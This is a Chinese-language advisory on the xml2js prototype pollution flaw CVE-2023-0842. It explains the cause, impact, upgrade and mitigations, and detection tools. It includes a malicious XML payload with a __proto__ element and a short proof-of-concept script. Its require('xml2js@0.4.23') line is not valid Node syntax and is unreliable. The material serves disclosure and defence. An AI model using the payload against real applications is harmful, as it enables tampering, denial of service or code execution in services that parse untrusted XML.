XML2JS 0.4.23 原型污染漏洞(CVE-2023-0842)深度分析
漏洞概述
漏洞名称: XML2JS 0.4.23 原型污染漏洞
CVE编号: CVE-2023-0842
漏洞类型: 原型污染(Prototype Pollution)
影响版本: xml2js <= 0.4.23
严重程度: 高危(High)
发现者: Carlos Bello (Fluid Attacks' Offensive Team)
发布日期: 2023-04-10
漏洞描述
xml2js是一个流行的Node.js库,用于将XML数据转换为JavaScript对象。在0.4.23及以下版本中,由于对传入的JSON键(key)缺乏充分验证,攻击者可以通过构造恶意的XML数据来修改对象的__proto__属性,从而导致原型污染漏洞。
技术背景
原型污染(Prototype Pollution)
原型污染是一种JavaScript特有的安全漏洞,攻击者能够通过修改对象的原型(prototype)来影响程序的行为。当应用程序使用不安全的对象合并、克隆或属性赋值操作时,如果攻击者能够控制对象属性名,就可能注入__proto__或constructor.prototype等属性,从而污染基本对象的原型。
XML2JS工作原理
xml2js库将XML数据转换为JavaScript对象,转换过程中会解析XML元素和属性,并将其映射为JS对象的属性和值。在解析过程中,库需要处理各种键值对的赋值操作。
漏洞成因分析
漏洞的核心在于xml2js 0.4.23版本在解析XML并构建JavaScript对象时,没有对属性名进行充分的验证和过滤,特别是没有阻止对__proto__属性的修改。
具体问题出现在对象属性赋值阶段:
- 解析器接收恶意构造的XML输入
- 将XML元素和属性转换为JS对象的键值对
- 在赋值过程中,允许键名为
__proto__的属性被设置 - 导致Object.prototype被污染,影响所有后续创建的对象
漏洞验证
恶意XML示例
<root>
<__proto__>
<polluted>true</polluted>
</__proto__>
</root>
漏洞利用代码
const xml2js = require('xml2js@0.4.23');
const maliciousXml = `
<root>
<__proto__>
<polluted>true</polluted>
</__proto__>
</root>
`;
xml2js.parseString(maliciousXml, (err, result) => {
if (err) {
console.error(err);
return;
}
// 验证原型污染是否成功
console.log({}.polluted); // 输出: true
});
影响范围
此漏洞影响所有使用xml2js 0.4.23及以下版本的Node.js应用程序,特别是:
- 接受用户提供的XML输入的应用
- 使用xml2js进行XML解析的后端服务
- 使用受影响版本构建的中间件和工具链
危害分析
成功利用此漏洞可能导致:
- 拒绝服务(DoS): 通过污染基本对象方法导致应用崩溃
- 远程代码执行(RCE): 如果应用使用污染后的属性进行敏感操作
- 权限提升: 绕过安全检查或修改应用逻辑
- 数据篡改: 修改应用内部状态或配置
修复方案
官方修复
升级到xml2js 0.4.24或更高版本,新版本中已添加对__proto__等特殊属性的过滤。
npm install xml2js@latest
临时缓解措施
如果无法立即升级,可以实施以下缓解方案:
-
输入过滤:
const parser = new xml2js.Parser({ tagNameProcessors: [name => { if (name === '__proto__') throw new Error('Invalid tag name'); return name; }] }); -
对象冻结:
Object.freeze(Object.prototype); -
使用安全替代库:
- fast-xml-parser
- libxmljs
防御建议
- 对所有用户提供的XML输入进行严格验证
- 实施深度对象复制时使用安全的方法
- 定期更新依赖库并监控安全公告
- 在关键操作前检查对象原型是否被修改
- 使用
Object.create(null)创建无原型的对象用于敏感操作
漏洞检测
手动检测
检查项目package.json或yarn.lock中是否包含:
"xml2js": "<=0.4.23"
自动化工具
使用以下工具扫描项目:
- npm audit
- snyk test
- OWASP Dependency-Check
相关资源
总结
CVE-2023-0842是一个典型的原型污染漏洞,强调了在JavaScript对象操作中实施严格输入验证的重要性。开发人员应及时更新受影响库,并审查所有处理用户输入的代码路径,以防止类似漏洞的发生。